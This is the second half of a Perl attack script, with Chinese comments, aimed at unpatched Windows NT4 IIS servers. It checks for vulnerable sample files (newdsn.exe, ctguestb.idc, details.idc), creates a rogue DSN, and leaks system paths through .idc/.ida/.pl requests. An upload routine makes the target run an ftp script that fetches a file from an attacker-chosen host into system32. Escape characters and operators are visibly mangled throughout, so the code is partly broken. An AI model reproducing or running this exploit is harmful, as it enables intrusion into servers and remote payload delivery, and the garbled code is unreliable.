攻击NT4没打补丁的perl程序(下)
########################
# 通过ftp -s下载文件 #
########################
sub upload_file {
my ($foobar) = @_;
$foobar =~ /(S+):(S+)/;

print("* Uploading ftp script...n");

&exec_cmd("cmd /c echo anonymous> C:\hello.txt");
&exec_cmd("cmd /c echo [email protected]>> C:\hello.txt");
&exec_cmd("cmd /c echo get $2>> C:\hello.txt");
&exec_cmd("cmd /c ftp -s:C:\hello.txt $1");

print("* Fetching file - it can be found in: C:\WINNT\SYSTEM32\$2n");

}


##################################################
# 初始化新的 DSN 通过 GETting文件 ctguestb.idc #
##################################################

sub init_gb {
my @results=sendraw("GET /scripts/samples/ctguestb.idc HTTP/1.0nn");
return 0;
}

#################################################################
# Checks ifhttp://somehost.net/scripts/tools/newdsn.exeexists #
#################################################################

sub check_newdsn {
my @results=sendraw("GET /scripts/tools/newdsn.exe HTTP/1.0nn");
$results[0]=~m#HTTP/([0-9.]+) ([0-9]+) ([^n]*)#;
return 1 if $2 eq "200";
return 0;
}

#####################################################################
# .idc's are funny...return codes are: #
# 200 OK if they exist and DSN is made #
# 500 Error performing query if they exist and DSN is NOT made #
# 200 Error performing query if they don't exist #
# Information provided by RFP's whisker #
#####################################################################
# 检测是否http://攻击主机/scripts/samples/ctguestb.idc文件存在 #
#####################################################################

sub check_ctguestb {
my @results=sendraw("GET /scripts/samples/ctguestb.idc HTTP/1.0nn");
$results[0]=~m#HTTP/([0-9.]+) ([0-9]+) (S+) ([^nr]*)#;
if ($2 eq "500" // ($2 eq "200" && $3 eq "OK")) { return 1; }
return 0;
}

####################################################################
# 检测是否http://攻击主机/scripts/samples/details.idc 文件存在 #
####################################################################

sub check_details {
my @results=sendraw("GET /scripts/samples/details.idc HTTP/1.0nn");
$results[0]=~m#HTTP/([0-9.]+) ([0-9]+) ([^rn]*)#;
if ($2 eq "500" // ($2 eq "200" && $3 eq "OK")) { return 1; }
return 0;
}

######################################################################
# 检测 newdsn.exe, ctguestb.idc 和 details.idc 是否存在 #
######################################################################

sub check_cgis {
print("tChecking for: newdsn.exet-- ");
if(&check_newdsn == 0) { print("Not Found :(n"); exit; }
else { print("Found :)n"); }
print("tChecking for: ctguestb.idct-- ");
if(&check_ctguestb == 0) { print("Not Found :(n"); exit; }
else { print("Found :)n"); }
print("tChecking for: details.idct-- ");
if(&check_details == 0) { print("Not Found :(n"); exit; }
else { print("Found :)n"); }
}

#########################################
# 建立一个新的DSN,并且以"Web SQL"命名 #
#########################################

sub make_dsn {
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft%2B" .
"Access%2BDriver%2B%28*.mdb%29&dsn=Web%20SQL&dbq=" .
"C%3A%5Cfoobar.mdb&newdb=CREATE_DB&attr= HTTP/1.0nn");
$results[0]=~m#HTTP/([0-9.]+) ([0-9]+) ([^n]*)#;
if($2 eq "200") {
foreach $line (@results) {
return 1 if $line=~/<H2>Datasource creation successful</H2>/;}}
return 0;}

######################################
# 用 .idc 溢出得到系统绝对路径 #
######################################

sub idc_bug {
my @results=sendraw("GET /blaat.idc HTTP/1.0nn");
@results=grep(/[A-Z]:\S*/, @results);
$results[0] =~ /([A-Z]:\S*)blaat.idc/;
return $1;
}

######################################
# 用 .ida 溢出得到系统绝对路径 #
######################################

sub ida_bug {
my @results=sendraw("GET /blaat.ida HTTP/1.0nn");
@results=grep(/([A-Z]:\S*)/, @results);
$results[0] =~ /([A-Z]:\S*)blaat.ida/;
return $1;
}

#####################################
# 用 .pl 溢出得到系统绝对路径 #
#####################################

sub pl_bug {
my @results=sendraw("GET /blaat.pl HTTP/1.0nn");
@results=grep(/[A-Z]:\/,@results);
$results[0] =~ /([A-Z]:\S*)blaat.pl/;
return $1;
}

######################################################
# 发送一个请求通过TCP协议的80端口到目标主机 #
######################################################

sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')//0) //
die("Socket problemsn");
if(connect(S,pack "SnA4x8",2,80,$target)){
my @in;
select(S); $/=1; print $pstr;
while(<S>){ push @in, $_;
print STDOUT "." if(defined $args{X});}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...n"); }
}
------------
Net_double_C